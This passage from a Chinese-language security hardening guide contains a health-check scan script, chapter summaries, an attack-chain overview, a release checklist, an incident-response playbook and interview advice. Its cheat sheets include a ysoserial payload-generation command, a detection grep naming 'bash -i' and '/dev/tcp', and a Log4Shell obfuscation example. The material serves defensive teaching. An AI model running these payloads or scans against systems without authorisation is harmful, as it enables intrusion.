# 用法:./security_healthcheck.sh http://target-host

TARGET="${1:-http://127.0.0.1:8080}"
OUT="./security-report-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUT"

echo "=========================================="
echo "  安全体检报告"
echo "  目标:$TARGET"
echo "  时间:$(date '+%Y-%m-%d %H:%M:%S')"
echo "=========================================="
echo ""

# ---------- 第 1 部分:暴露面检查 ----------
echo "【1/6】检查暴露面..."
{
echo "=== 危险端点 ==="
for ep in /actuator/env /actuator/heapdump /actuator/beans /actuator/mappings \
          /actuator/gateway/routes /druid/index.html /swagger-ui.html /v2/api-docs \
          /h2-console /nacos /console /jenkins /manager/html \
          /env /metrics /configprops /threaddump; do
  C=$(curl -s -o /dev/null -w '%{http_code}' -m 5 "$TARGET$ep")
  [ "$C" = "200" ] && echo "  ❌ 暴露:$ep"
done
echo "  (无输出 = 未发现暴露端点)"
} | tee "$OUT/01-exposure.txt"

# ---------- 第 2 部分:安全响应头 ----------
echo ""
echo "【2/6】检查安全响应头..."
{
echo "=== HTTP 安全头 ==="
H=$(curl -s -D - -o /dev/null -m 5 "$TARGET")
for h in "Strict-Transport-Security" "Content-Security-Policy" "X-Content-Type-Options" \
         "X-Frame-Options" "Referrer-Policy" "Permissions-Policy"; do
  if echo "$H" | grep -qi "$h"; then
    echo "  ✅ $h: $(echo "$H" | grep -i "$h" | head -1 | cut -d: -f2- | xargs)"
  else
    echo "  ❌ 缺失:$h"
  fi
done
echo ""
echo "=== 不应出现的头(信息泄露)==="
for h in "X-Powered-By" "Server" "X-AspNet-Version" "X-Jenkins" "X-Generator"; do
  V=$(echo "$H" | grep -i "^$h:" | cut -d: -f2- | xargs)
  [ -n "$V" ] && echo "  ⚠️  $h: $V(泄露技术栈和版本)"
done
} | tee "$OUT/02-headers.txt"

# ---------- 第 3 部分:目录爆破 ----------
echo ""
echo "【3/6】FUZZ 目录(需要 ffuf)..."
if command -v ffuf >/dev/null 2>&1; then
  ffuf -u "$TARGET/FUZZ" -w ./java-endpoints.txt -fc 404 -fs 0 \
       -o "$OUT/03-ffuf.json" -of json -s
  jq -r '.results[]? | "  ⚠️  \(.input.FUZZ) → HTTP \(.status)"' \
     "$OUT/03-ffuf.json" 2>/dev/null | tee -a "$OUT/03-ffuf.txt"
else
  echo "  (ffuf 未安装,跳过)"
fi

# ---------- 第 4 部分:Nuclei 扫描 ----------
echo ""
echo "【4/6】Nuclei 漏洞扫描(只读模板,不发攻击 payload)..."
if command -v nuclei >/dev/null 2>&1; then
  nuclei -u "$TARGET" \
    -severity critical,high,medium \
    -tags config,exposure,tech \
    -rate-limit 20 \
    -o "$OUT/04-nuclei.txt" -s
  cat "$OUT/04-nuclei.txt" 2>/dev/null | sed 's/^/  /'
else
  echo "  (nuclei 未安装,跳过)"
fi

# ---------- 第 5 部分:TLS 配置 ----------
echo ""
echo "【5/6】检查 TLS 配置..."
HOSTPORT=$(echo "$TARGET" | sed -E 's|https?://||' | cut -d/ -f1)
HOST="${HOSTPORT%%:*}"
PORT="${HOSTPORT##*:}"
[ "$PORT" = "$HOST" ] && PORT=443
{
if command -v openssl >/dev/null 2>&1 && [ "$PORT" = "443" ]; then
  echo "=== 证书信息 ==="
  echo | openssl s_client -connect "$HOST:$PORT" -servername "$HOST" 2>/dev/null \
    | openssl x509 -noout -dates -subject 2>/dev/null | sed 's/^/  /'
  echo ""
  echo "=== 支持的协议(应只有 TLSv1.2 / TLSv1.3)==="
  for v in ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3; do
    echo | openssl s_client -connect "$HOST:$PORT" -$v >/dev/null 2>&1 \
      && echo "  ⚠️  支持 $v"
  done
  echo "  (只应看到 tls1_2 和 tls1_3)"
else
  echo "  (目标非 HTTPS 或 openssl 不可用,跳过)"
fi
} | tee "$OUT/05-tls.txt"

# ---------- 第 6 部分:端口扫描 ----------
echo ""
echo "【6/6】常见危险端口..."
{
for p in 2375 2379 3306 6379 8080 8848 9092 9200 10250 11211 15672 27017; do
  timeout 1 bash -c "echo > /dev/tcp/$HOST/$p" 2>/dev/null \
    && echo "  ⚠️  端口 $p 开放"
done
echo "  (2375=Docker API ★最危险, 2379=etcd, 6379=Redis, 10250=kubelet)"
} | tee "$OUT/06-ports.txt"

# ---------- 汇总 ----------
echo ""
echo "=========================================="
echo "  体检完成!报告保存在:$OUT/"
echo "=========================================="
ls -la "$OUT/" | tail -n +4

9.7 第九章总结

9.7.1 工具速查表

工具 命令示例 跑在哪 卡点强度
gitleaks gitleaks detect --source . --log-opts="--all" pre-commit + CI ★ 必须卡
Semgrep semgrep --config=p/security-audit --error . CI ★ 建议卡(先只卡 ERROR)
trivy (fs) trivy fs --severity CRITICAL,HIGH --exit-code 1 . CI ★ 必须卡(先清存量)
trivy (image) trivy image --exit-code 1 myapp:latest CI(构建后) ★ 必须卡
Nuclei nuclei -u https://test.example.com -severity critical,high CI(测试环境) 先报告后卡
ffuf ffuf -u http://t/FUZZ -w java-endpoints.txt -fc 404 手工 / 定期 报告即可
cosign cosign verify --key cosign.pub myapp:latest 部署前 ★ 建议卡
syft syft myapp:latest -o cyclonedx-json > sbom.json CI(存档) 不卡,但必须做

9.7.2 必背 5 句话

  1. 安全越早成本越低:编码时发现 1x,上线后发现 30x,出事后 100x+
  2. 落地路线要“温水煮青蛙”:先只报告不卡点 → 清存量 → 再开卡点 → 只卡新增
  3. Git 历史是永久的,密钥泄露后第一件事是吊销密钥,不是删代码
  4. Nuclei 别扫生产(会写数据),生产只做被动检查(响应头、端点暴露)
  5. SBOM 是应急救命的东西——Log4Shell 那天,有 SBOM 的公司 10 分钟定位完,没有的通宵三天

9.7.3 面试怎么讲(1 分钟版本)

“自动化这块我们搭了一条五道卡点的流水线,分了九周逐步落地。

五道卡点是: ① gitleaks 扫密钥泄露(pre-commit + CI 双层,发现直接失败); ② Semgrep 扫代码危险写法(社区规则 + 我们自己写的规则,比如禁止 MyBatis 的 ${}、禁止日志打印密码); ③ trivy 扫依赖漏洞,同时生成 SBOM 存档; ④ trivy 扫镜像漏洞; ⑤ Nuclei 对测试环境做动态扫描(生产不做主动扫描,只做被动检查)。

落地过程有个教训:我们一开始没一次性全开卡点。 第一周只上 gitleaks(零误报,团队接受度最高), 然后 trivy 先设 allow_failure: true 跑两周看存量, 整改完再改成 false。 如果一上来就全卡死,跑出三百个漏洞,团队一定会要求关掉,然后就再也没有然后了。

最有价值的是 SBOM:每次构建都生成,存一年。 下次再出 Log4Shell 这种 0day,一条 jq 命令就能列出所有受影响的服务—— 这个价值在应急的时候是决定性的。“


第十章:全文总结、上线 Checklist 与面试总纲

这一章是“把前面的东西变成你的能力”。

前面九章是“做过一遍”,这一章把它们压缩成你能随时调用的东西: 一张全景图、一份可打印的 Checklist、一套应急流程、一套面试话术。

10.1 全文档知识体系全景

┌────────────────────────────────────────────────────────────────────┐
│                     安全攻防知识体系(12 号文档)                     │
├────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  【第一层:Web 层漏洞】(第 2~4 章)—— 你的代码直接产生的             │
│    ├─ SQL 注入        → 预编译 + 白名单 + 最小权限                   │
│    ├─ XSS             → 输出编码 + CSP + HttpOnly                    │
│    ├─ CSRF            → Token + SameSite + 二次校验                  │
│    ├─ 文件上传        → 白名单 + 魔数 + 二次渲染 + 对象存储           │
│    └─ 文件包含        → 禁用动态包含 + 路径规范化校验                 │
│                                                                      │
│  【第二层:服务端请求漏洞】(第 5 章)—— 服务器被当枪使                │
│    └─ SSRF            → 协议白名单 + IP 黑名单 + 禁重定向 + 校验实际IP│
│                                                                      │
│  【第三层:组件与反序列化】(第 6 章)—— 依赖库里的雷                  │
│    ├─ XXE             → 禁 DOCTYPE + 禁外部实体                      │
│    ├─ Java 反序列化   → JEP 290 白名单 + 升级依赖 + 换 JSON          │
│    ├─ Shiro-550       → 换随机密钥 + 升级 Shiro                      │
│    ├─ Log4Shell       → 升到 2.17.1+                                 │
│    ├─ Fastjson        → safeMode + 升到 1.2.83+                      │
│    └─ SpEL 注入       → SimpleEvaluationContext                      │
│                                                                      │
│  【第四层:中间件与配置】(第 7 章)—— 运维的坑                        │
│    ├─ Redis           → 密码 + 禁 CONFIG/MODULE + 非 root            │
│    ├─ MySQL           → secure_file_priv + 收回 FILE 权限            │
│    ├─ Nacos           → 开鉴权 + 配置加密 + 实例角色                 │
│    ├─ Jenkins         → 开认证 + 保护 /script + 日志脱敏             │
│    └─ Actuator/Druid  → 只暴露 health/info + 改端口 + 加认证         │
│                                                                      │
│  【第五层:容器与云原生】(第 8 章)—— 新时代的战场                    │
│    ├─ 容器逃逸        → 禁 privileged + 禁 docker.sock + PSA         │
│    ├─ SA Token 利用   → automountServiceAccountToken: false          │
│    ├─ RBAC 提权       → 最小权限 + 禁 escalate/bind                  │
│    ├─ etcd/kubelet    → TLS 证书 + 关匿名认证                        │
│    └─ 镜像供应链      → cosign 签名 + trivy 扫描 + distroless        │
│                                                                      │
│  【第六层:流程与自动化】(第 9 章)—— 让问题不再发生                  │
│    └─ 五道 CI 卡点:gitleaks → Semgrep → trivy(fs) → trivy(image)    │
│                     → Nuclei(测试环境)                              │
│                                                                      │
└────────────────────────────────────────────────────────────────────┘

10.1.1 一条完整的攻击链(把所有章节串起来)

理解这条链,你就理解了攻击者是怎么思考的:

① 【侦察】扫端口、找子域名、看技术栈                    ← 第 9 章 ffuf / Nuclei
        ↓
② 【找入口】SQL 注入 / Log4Shell / 未授权 Redis        ← 第 2 / 6 / 7 章
        ↓
③ 【拿 Shell】写 webshell / 反弹 shell / 写 crontab    ← 第 2 / 6 / 7 章
        ↓
④ 【信息收集】配置文件、环境变量、.bash_history、SA Token ← 第 7 / 8 章
        ↓
⑤ 【提权】UDF / 内核漏洞 / sudo 配置不当                ← 第 7 / 8 章
        ↓
⑥ 【横向移动】SSH 私钥复用、打内网其他机器              ← 第 7.7 节
        ↓
⑦ 【上云】偷 SA Token → 读 Secret → 拿 AK/SK           ← 第 8.3 节
        ↓
⑧ 【持久化】后门 Pod / CronJob / 后门 SA               ← 第 8.3.4 节
        ↓
⑨ 【变现】挖矿 / 勒索 / 卖数据

防御方在每一步都能设卡(★ 这就是“纵深防御”的含义):

阶段 设卡点
① 侦察 隐藏版本号(Server 头)、关目录浏览、限制错误详情
② 找入口 依赖扫描、WAF、输入校验、关闭未授权服务
③ 拿 Shell 非 root 运行、只读文件系统、无 shell 的 distroless 镜像
④ 信息收集 配置加密、不挂载 SA Token、清理历史命令
⑤ 提权 打内核补丁、gVisor/Kata、禁用 capabilities
⑥ 横向移动 NetworkPolicy、每台机器不同密钥、SSH 禁密码
⑦ 上云 RBAC 最小化、用实例角色代替 AK、NetworkPolicy 限制访问 API
⑧ 持久化 PSA 禁特权 Pod、审计日志告警、Falco 运行时检测
⑨ 变现 监控异常(CPU 飙高、异常出网流量)、账单告警

10.2 上线前安全 Checklist(★ 可打印,每次发版过一遍)

10.2.1 代码层(开发自查)

□ 【注入类】
  □ SQL 全部用预编译(#{} 或 PreparedStatement),无字符串拼接
  □ MyBatis 里没有 ${}(除排序字段,且排序字段走白名单)
  □ 没有 Runtime.exec / ProcessBuilder 拼接用户输入
  □ 没有 SpEL 的 StandardEvaluationContext 处理用户输入
  □ 没有反序列化不可信数据(或已加白名单过滤器)
  □ 模板引擎(Thymeleaf/Freemarker)没有拼接用户输入当模板

□ 【XSS / CSRF】
  □ 所有用户输入输出到页面时做了 HTML 转义
  □ 配置了 CSP(至少 default-src 'self')
  □ 敏感 Cookie 设置了 HttpOnly + Secure + SameSite
  □ 状态变更的接口(POST/PUT/DELETE)有 CSRF Token 或 SameSite=Lax
  □ 富文本内容用了白名单过滤(jsoup)

□ 【文件上传】
  □ 扩展名白名单(不是黑名单)
  □ 校验文件魔数(不只信 Content-Type)
  □ 随机重命名(不用原始文件名)
  □ 存储在非 Web 根目录 / 对象存储
  □ 限制文件大小和数量
  □ 图片做了二次渲染(彻底清除图片马)

□ 【认证授权】
  □ 密码用 BCrypt/Argon2 存储(不是 MD5/SHA)
  □ 登录失败有锁定或限流(防暴力破解)
  □ 每个接口都有权限校验(不只是菜单隐藏)
  □ 越权校验:不只判断"登录了",还判断"是不是本人/本租户"
  □ JWT 密钥足够复杂且未硬编码;校验了签名和过期时间
  □ 敏感操作(改密码、改手机号、支付)有二次验证

□ 【敏感信息】
  □ 生产配置里无明文密码(用 KMS/Vault 或环境变量)
  □ 日志里不打印密码、Token、身份证、银行卡
  □ API 响应里不包含内部字段(如 password、salt、内部 ID)
  □ 生产环境关闭了 Swagger / H2 Console / Druid
  □ 错误页面不返回堆栈信息

10.2.2 依赖与镜像(构建时)

□ 【依赖】
  □ mvn dependency:tree 检查无高危组件(log4j < 2.17.1 / fastjson < 1.2.83 等)
  □ commons-collections >= 3.2.2(如果用 JDK 原生序列化)
  □ Shiro 已配置随机密钥,不是默认密钥
  □ 生成了 SBOM 并存档
  □ trivy fs --severity HIGH,CRITICAL --exit-code 1 通过

□ 【镜像】
  □ 基础镜像是官方镜像且版本较新
  □ 用了多阶段构建(构建依赖不进运行时镜像)
  □ 非 root 用户运行
  □ trivy image --severity HIGH,CRITICAL --exit-code 1 通过
  □ (进阶)镜像有 cosign 签名
  □ (进阶)用了 distroless / alpine 等精简镜像

10.2.3 基础设施(运维)

□ 【网络】
  □ 所有服务只监听内网 IP,不绑 0.0.0.0
  □ Redis / MySQL / Nacos / Jenkins 等不在公网可达
  □ 安全组/防火墙只开放必要端口
  □ Redis 改了默认端口(可选,但有效)

□ 【中间件】
  □ Redis 有密码 + 禁用 CONFIG/MODULE/SLAVEOF + 非 root 运行
  □ MySQL secure_file_priv 非空 + 无 FILE 权限 + 非 root 运行
  □ Nacos 开启鉴权 + 关闭 UA 白名单 + 改了默认口令
  □ Kafka/RabbitMQ 开启认证 + 改了默认口令
  □ Elasticsearch / MongoDB 开启认证

□ 【K8s】
  □ Pod 设置 automountServiceAccountToken: false(不需要的)
  □ RBAC 用 Role 不用 ClusterRole(能用 Role 就用 Role)
  □ 无 cluster-admin 的多余绑定
  □ 命名空间设置了 PSA(restricted)
  □ 配置了 NetworkPolicy(至少默认拒绝)
  □ 无 Pod 挂载 docker.sock
  □ 无 privileged 容器
  □ etcd 开启 TLS 客户端证书认证
  □ kubelet 关闭匿名认证(--anonymous-auth=false)
  □ 关闭 apiserver 的 insecure port(8080)
  □ Secret 用了 External Secrets / Vault(至少开启了 etcd 静态加密)

10.2.4 流程(团队)

□ pre-commit 装了 gitleaks 钩子
□ CI 里有依赖扫描 + 代码扫描 + 镜像扫描
□ 高危漏洞 allow_failure = false(构建失败)
□ 每次构建生成 SBOM 并存档
□ 有密钥轮换机制(至少半年一次)
□ 有安全应急响应预案(谁能吊销密钥?谁能下机器?)
□ 团队做过至少一次安全培训/演练

10.3 应急响应手册:发现被入侵了怎么办

这一节的场景:某天你发现服务器 CPU 100%、或者云账单暴涨、 或者收到安全团队的告警。

前 30 分钟做的事,决定了损失的大小。

10.3.1 黄金 30 分钟

┌──────────────────────────────────────────────────────────┐
│  第 0~5 分钟:【止损】                                     │
├──────────────────────────────────────────────────────────┤
│  ① 【隔离】把被入侵的机器从网络摘掉                        │
│     - K8s:kubectl cordon + 修改 NetworkPolicy 拒绝全部   │
│     - 云上:修改安全组,只留跳板机 IP                      │
│     ⚠️ 不要直接关机!(会丢失内存里的证据)                │
│                                                            │
│  ② 【吊销密钥】(★ 最重要,优先于一切)                    │
│     - 云厂商 AK/SK:立即禁用(不是删除,保留证据)         │
│     - 数据库密码:改(但先确认业务能跟着改)                │
│     - JWT 密钥:换(会让所有人掉线,评估后做)              │
│     - SSH 私钥:从 authorized_keys 里删掉                  │
│     - K8s SA Token:删 Pod 让它失效                        │
│                                                            │
│  ③ 【通知】拉起应急响应群(安全 + 运维 + 业务负责人)       │
└──────────────────────────────────────────────────────────┘
                            ↓
┌──────────────────────────────────────────────────────────┐
│  第 5~20 分钟:【取证】                                     │
├──────────────────────────────────────────────────────────┤
│  ① 保存现场(★ 别急着清理)                                │
│     - 进程列表:ps auxf > /tmp/ps.txt                      │
│     - 网络连接:netstat -antp > /tmp/netstat.txt           │
│     - 定时任务:crontab -l; cat /etc/crontab               │
│     - 登录记录:last; lastb; cat /var/log/secure           │
│     - 命令历史:cat ~/.bash_history                        │
│     - K8s:kubectl get all -A -o yaml > /tmp/k8s-all.yaml  │
│                                                            │
│  ② 找攻击入口                                              │
│     - 看 Web 访问日志,找异常请求(SQL 注入特征、../ 等)   │
│     - 看应用日志,找异常堆栈                                │
│     - 看有没有新增的文件(find / -mmin -60 -type f)        │
│                                                            │
│  ③ 判断影响范围                                            │
│     - 有没有数据被拖走?(看出网流量、数据库审计日志)      │
│     - 有没有横向移动?(看 SSH 登录记录、内网连接)         │
│     - 有没有被持久化?(crontab、systemd、后门 Pod)        │
└──────────────────────────────────────────────────────────┘
                            ↓
┌──────────────────────────────────────────────────────────┐
│  第 20~30 分钟:【决策】                                    │
├──────────────────────────────────────────────────────────┤
│  ① 要不要下线服务?(如果无法快速止血,宁可下线)           │
│  ② 要不要通知用户/监管?(数据泄露有法定通知义务)          │
│  ③ 要不要报警?(保留证据,配合调查)                       │
└──────────────────────────────────────────────────────────┘

10.3.2 Linux 排查速查命令

# ===== 找恶意进程 =====
ps auxf | grep -vE "\[" | head -30
top -c                                  # 看 CPU 占用(挖矿木马特征明显)
ls -la /proc/*/exe 2>/dev/null | grep deleted    # ★ 进程的可执行文件已被删除(木马特征)

# ===== 找网络连接 =====
netstat -antp | grep ESTABLISHED
ss -antp | grep -v "127.0.0.1"          # 看外部连接
lsof -i -P -n | grep LISTEN             # 看监听端口

# ===== 找持久化后门 =====
crontab -l -u root
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/crontabs/
systemctl list-unit-files --type=service | grep enabled    # 看异常服务
ls -la /etc/systemd/system/ | grep -v "default\|multi-user\|basic\|sysinit\|sockets\|timers"
cat ~/.bashrc ~/.bash_profile /etc/profile | grep -iE "curl|wget|bash -i|/dev/tcp"
cat ~/.ssh/authorized_keys              # ★ 有没有被加了陌生的公钥

# ===== 找最近被修改的文件 =====
find / -mmin -60 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -30
find / -name "*.sh" -mmin -1440 2>/dev/null | head -20    # 24 小时内新增的脚本

# ===== 看登录记录 =====
last -20                                # 成功登录
lastb -20                               # 失败登录(暴力破解痕迹)
cat /var/log/secure | grep -i "accepted\|failed" | tail -50
w                                       # 当前谁在线

# ===== 找挖矿木马 =====
ps aux | grep -iE "miner|xmrig|eth|monero|kworker" | grep -v grep
ls /tmp /var/tmp /dev/shm -la           # ★ 木马常藏在这三个目录
cat /etc/ld.so.preload 2>/dev/null      # ★ 被篡改会导致命令被 hook(ps 看不到木马进程)

# ===== K8s 排查 =====
kubectl get pods -A | grep -vE "Running|Completed"          # 异常 Pod
kubectl get pods -A -o json | jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'
kubectl get cronjobs -A                 # 异常定时任务
kubectl get pods -n kube-system          # ★ 后门最爱藏这儿

10.3.3 恢复与复盘

【恢复】
  ① 从干净备份恢复(★ 不要"清理木马",你永远清不干净)
     - 正确做法:重建机器,重新部署
     - 用 IaC(Terraform / Helm)重建,别手工配
  ② 全量轮换密钥(所有,不是只换泄露的那个)
  ③ 补上被利用的漏洞,跑一遍复测脚本
  ④ 观察 7 天(看有没有再次入侵)

【复盘(★ 最重要)】
  ① 时间线:什么时候进来的?怎么进来的?做了什么?
  ② 根因分析(5 Why):
     表面原因:Redis 没设密码
     Why 1:为什么没设?→ 部署脚本没配
     Why 2:为什么部署脚本没配?→ 没有安全基线检查
     Why 3:为什么没有基线检查?→ 没人负责
     Why 4:为什么没人负责?→ 安全职责不清晰
     → 真正的改进:在 CI/部署流水线加安全基线卡点
  ③ 改进项(必须可验证、有 owner、有 deadline)
     ❌ 错误:"加强安全意识"
     ✅ 正确:"在 CD 流水线加 Redis 配置检查,高危则阻断,@张三,9月30日前"

10.4 面试总纲:把这份文档变成面试优势

10.4.1 三个层次,看你到哪一层

层次 表现 面试官的感受
L1 背答案 “SQL 注入要用预编译” “背过八股文”
L2 懂原理 “预编译的原理是 SQL 先编译成执行计划,参数后传入,所以参数不会被当成 SQL 解析” “理解得还行”
L3 有实战 “我在 Vulhub 上用 sqlmap 拖过库。有意思的是 sqlmap 的盲注用二分法,一个字符要 7 次请求,一个 32 位的 MD5 要 224 次——所以关闭错误回显能让攻击成本提升两个数量级,这是我做完才真正理解的” ★ “这人真的做过”

从 L2 到 L3 的关键:有数字、有细节、有自己的发现。

10.4.2 万能的“实战故事四段式”

任何安全问题,都按这四段讲:

① 【我做过什么】(10 秒)
   "我在本地用 Vulhub 复现过 Shiro-550"

② 【原理是什么】(30 秒)
   "Shiro 的 rememberMe 把用户对象序列化后 AES 加密存 Cookie,
    但 1.2.4 的密钥是硬编码的,攻击者用公开密钥加密恶意数据发过去,
    服务器解密后反序列化,直接 RCE"

③ 【我的发现/踩过的坑】(20 秒)★ 这一段决定你在 L2 还是 L3
   "复现时我发现官方镜像以非 root 运行,crontab 方式写不进去,
    这让我意识到危害 = 能写文件 × root 运行 × 公网可达"

④ 【我们怎么修的 + 效果】(20 秒)
   "我们换了随机密钥、升级 Shiro、禁用了 commons-collections。
    另外我把 CI 里加了依赖扫描,之后每次构建都会生成 SBOM"

10.4.3 高频问题的“标准答案 + 加分点”

面试题 标准答案(必须会) 加分点(让你脱颖而出)
“SQL 注入怎么防?” 预编译 + 输入校验 + 最小权限 “我用 sqlmap 对比过:有错误回显时几秒拖完库,关掉后要 224 次请求/字段,关闭错误回显性价比极高”
“XSS 怎么防?” 输出编码 + CSP + HttpOnly “HttpOnly 只减轻后果不是修复——攻击者还能用 Cookie 发请求做 CSRF。而且存储型 XSS 配合文件包含能直接 RCE”
“CSRF Token 放 Cookie 里安全吗?” 安全(攻击者能带上但读不到) “前提是配合 SameSite 和同源校验。而且 Token 要和 Session 绑定,不能做成全局固定值”
“Redis 未授权有什么危害?” 写 crontab → GetShell “只禁 CONFIG 不够,攻击者会用主从复制 RCE。而且非 root 运行能大幅降低危害”
“怎么保证上线不出安全问题?” 代码评审 + 安全测试 “五道 CI 卡点 + 每九周逐步落地(一次性全开会失败)+ SBOM 存档”
“Log4j 那个漏洞了解吗?” 升到 2.17.1 “WAF 防不住,因为 ${${lower:j}ndi:} 这种变形,WAF 看字面量、Log4j 看求值结果”
“K8s 安全怎么做的?” RBAC + NetworkPolicy “SA Token 默认挂载是最大的坑,一行 automountServiceAccountToken: false 能防住 90% 的利用。而且 NetworkPolicy 是最后一道物理屏障——Token 和权限都丢了,网络不通也调不了 API”
“发现服务器被入侵了怎么办?” 断网 + 排查 + 修复 “第一件事是吊销密钥不是删代码(Git 历史是永久的)+ 别急着关机(丢内存证据)+ 从干净备份重建,不要’清理木马’”

10.4.4 主动引导面试的技巧

面试官问“你了解安全吗”,不要等他追问,主动铺开三个层次:

“安全这块我从三个层面理解:

代码层,我知道常见的 Web 漏洞怎么防(SQL 注入、XSS、CSRF、文件上传), 也在靶场上复现过;

组件层,我关注过 Java 生态的几个大 CVE——Shiro-550、Log4Shell、Fastjson, 它们本质上都是把不可信数据当成指令执行, 我复现过前两个,也知道修复的关键是升级依赖 + 白名单而不是黑名单;

架构层,我更关心流程上怎么防止问题重现—— 比如我们在 CI 里做依赖扫描卡点、每次构建生成 SBOM、 密钥不进代码仓库。

您想聊哪个层面?“

这样说的好处:① 展示体系化;② 把问题抛回给面试官,让他挑你熟悉的方向。

10.4.5 简历上怎么写

❌ 不推荐:
   熟悉 Web 安全,了解常见漏洞

❌ 不推荐:
   精通网络安全(面试官会追到细节,答不出来反而扣分)

✅ 推荐(有具体动作 + 有产出):
   参与公司安全治理:在 CI/CD 流水线落地五道安全检查卡点
   (密钥扫描/代码扫描/依赖扫描/镜像扫描/动态扫描),
   推动生成 SBOM 用于应急溯源;
   主导整改 Log4Shell 等组件漏洞,48 小时内完成全服务升级;
   完成 Redis/Nacos/Actuator 等中间件未授权的排查与加固。

10.5 下一步学什么

如果你做完了本文档的实验还想深入,按这个路线走:

10.5.1 技术方向

方向 推荐资源 说明
Web 安全体系 PortSwigger Web Security Academy(免费,最好的教程) 有在线靶场,每个漏洞都有互动练习
实战靶场 HackTheBox / TryHackMe 完整的渗透测试环境,从易到难
CTF CTFtime、BUUCTF(国内) 打 CTF 是提升最快的方式
内网渗透 《内网安全攻防:渗透测试实战指南》 横向移动、域渗透
云原生安全 Kubernetes Security(Liz Rice 的书)、kube-bench、Falco CIS Benchmark、运行时检测
代码审计 FindSecBugs、CodeQL 官方文档 从“会用工具”到“能审代码”
安全开发 OWASP ASVS(应用安全验证标准) ★ 做安全设计的 checklist

10.5.2 认证(如果公司有要求或想转岗)

认证 定位 难度
OSCP 渗透测试实操(24 小时实战考试) ★★★★ 业界认可度最高
CISSP 安全管理(偏理论、偏管理) ★★★ 需要 5 年经验
CISP / CISP-PTE 国内认可(等保相关) ★★
CKS Certified Kubernetes Security Specialist(★ 对云原生方向最对口) ★★★

10.5.3 保持更新的渠道

【漏洞情报】
  - 国家信息安全漏洞库(CNNVD):www.cnnvd.org.cn
  - 国家漏洞库(CNVD):www.cnvd.org.cn
  - NVD(美国):nvd.nist.gov
  - 安全客 / FreeBuf / 先知社区(国内)
  - GitHub Advisory Database

【必看的时间线】
  - 每周:看一次新披露的高危 CVE(CNVD/CNNVD 的周报)
  - 每月:看一次 OWASP Top 10 的更新动态
  - 每季度:跑一次全量依赖扫描,整改存量
  - 每半年:做一次安全演练(模拟入侵 + 应急响应)

10.6 写在最后:安全的三个认知

做了这 12 个章节的实验之后,我最想留下的三句话:

认知一:安全不是“加个功能”,是“减少信任”

所有漏洞的本质都是**“过度信任”**:

  • SQL 注入 = 过度信任用户输入
  • Shiro-550 = 过度信任客户端传来的 Cookie
  • Log4Shell = 过度信任日志内容
  • 未授权 Redis = 过度信任网络边界
  • SA Token 利用 = 过度信任 Pod 的身份

所以安全设计的第一性原理是:明确每一处“我凭什么相信它”。 想清楚了这个问题,80% 的漏洞自然就没了。

认知二:纵深防御 > 单点完美

不要追求“某个防御是完美的”——没有任何单点防御是完美的:

  • 预编译能防 SQL 注入,但挡不住逻辑漏洞
  • WAF 能挡脚本小子,挡不住变形 payload
  • 白名单很安全,但会漏掉新的攻击手法

真正有效的是“层层设卡”: 攻击者要连续突破 5 层才能得手,他的成本和暴露风险就大幅上升。 这就是为什么我在每个章节都给出“多道防线”而不是“唯一正确答案”。

认知三:安全是过程,不是状态

Fastjson 修了 20 多个版本还在被绕过, Log4Shell 之后 Log4j 又出了 CVE-2021-45046、45105、44832, K8s 每年都有新的 CVE。

所以:

  • 不要问“我们的系统安全了吗”,要问“我们的响应能力够快吗“
  • 不要追求“零漏洞”(不可能),要追求“出事时能在 30 分钟内止血“
  • 不要一次性做完(会失败),要每周改进一点点,持续跑

这也是第 9 章“九周落地路线图”想传达的: 能持续跑下去的流程,比一份完美的方案有价值得多。


附录 A:本文档所有复测脚本索引

脚本 检查什么 在哪节
check_env.sh 实验环境是否齐全 0.2.2
verify_sqli.sh SQL 注入修复(9 项) 2.x
verify_upload.sh 文件上传修复 4.x
verify_ssrf.sh SSRF 修复(15 项) 5.6
verify_xxe.sh XXE 修复(6 项) 6.1.7
verify_deser.sh 反序列化防护(4 项) 6.3.3
verify_shiro.sh Shiro-550 修复(4 项) 6.4.7
verify_log4shell.sh Log4Shell 修复(8 种变形) 6.5.7
verify_fastjson.sh Fastjson autotype(7 项) 6.6.6
verify_gateway_spel.sh Gateway Actuator 暴露(5 项) 6.7.6
scan_log4j.sh 扫本机所有 jar 的 Log4j 6.5.6
verify_redis.sh Redis 加固(12 项) 7.1.9
verify_mysql.sh MySQL 加固(10 项) 7.2.6
verify_nacos.sh Nacos 加固(8 项) 7.3.7
verify_jenkins.sh Jenkins 加固(9 项) 7.4.7
verify_actuator.sh Java 应用暴露面 7.5.6
verify_container_escape.sh 容器逃逸风险(在容器里跑) 8.1.4
verify_k8s.sh K8s 集群加固(10 项) 8.3.8
verify_kubelet.sh kubelet/etcd 未授权 8.4.2
verify_supply_chain.sh 镜像供应链(7 项) 8.5.7
security_healthcheck.sh 一键全面体检(6 部分) 9.6

附录 B:常用命令速查

# ===== 探测 =====
curl -I http://target                          # 看响应头(技术栈、安全头)
curl -s http://target -o /dev/null -w '%{http_code}\n'   # 只要状态码
whatweb http://target                          # 识别技术栈
nmap -sV -p 1-65535 target                     # 全端口 + 版本探测

# ===== Redis =====
redis-cli -h IP -p 6379 ping                   # 探测未授权
redis-cli -h IP -p 6379 info server            # 看版本

# ===== MySQL =====
mysql -h IP -u root -e "SHOW VARIABLES LIKE 'secure_file_priv';"
mysql -h IP -u root -e "SELECT user,host,file_priv FROM mysql.user;"

# ===== 反序列化 =====
java -jar ysoserial.jar CommonsCollections6 "命令" > payload.ser
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > urldns.ser   # 无害探测
xxd payload.ser | head -2                      # 应看到 aced 0005

# ===== 扫描 =====
trivy fs --severity CRITICAL,HIGH .            # 扫依赖
trivy image --severity CRITICAL,HIGH myapp:latest    # 扫镜像
nuclei -u http://target -severity critical,high      # 漏洞扫描
ffuf -u http://target/FUZZ -w wordlist.txt -fc 404   # 目录爆破
gitleaks detect --source . --log-opts="--all"        # 密钥泄露

# ===== K8s =====
kubectl get pods -A -o json | jq '.items[] | select(.spec.automountServiceAccountToken != false) | .metadata.name'
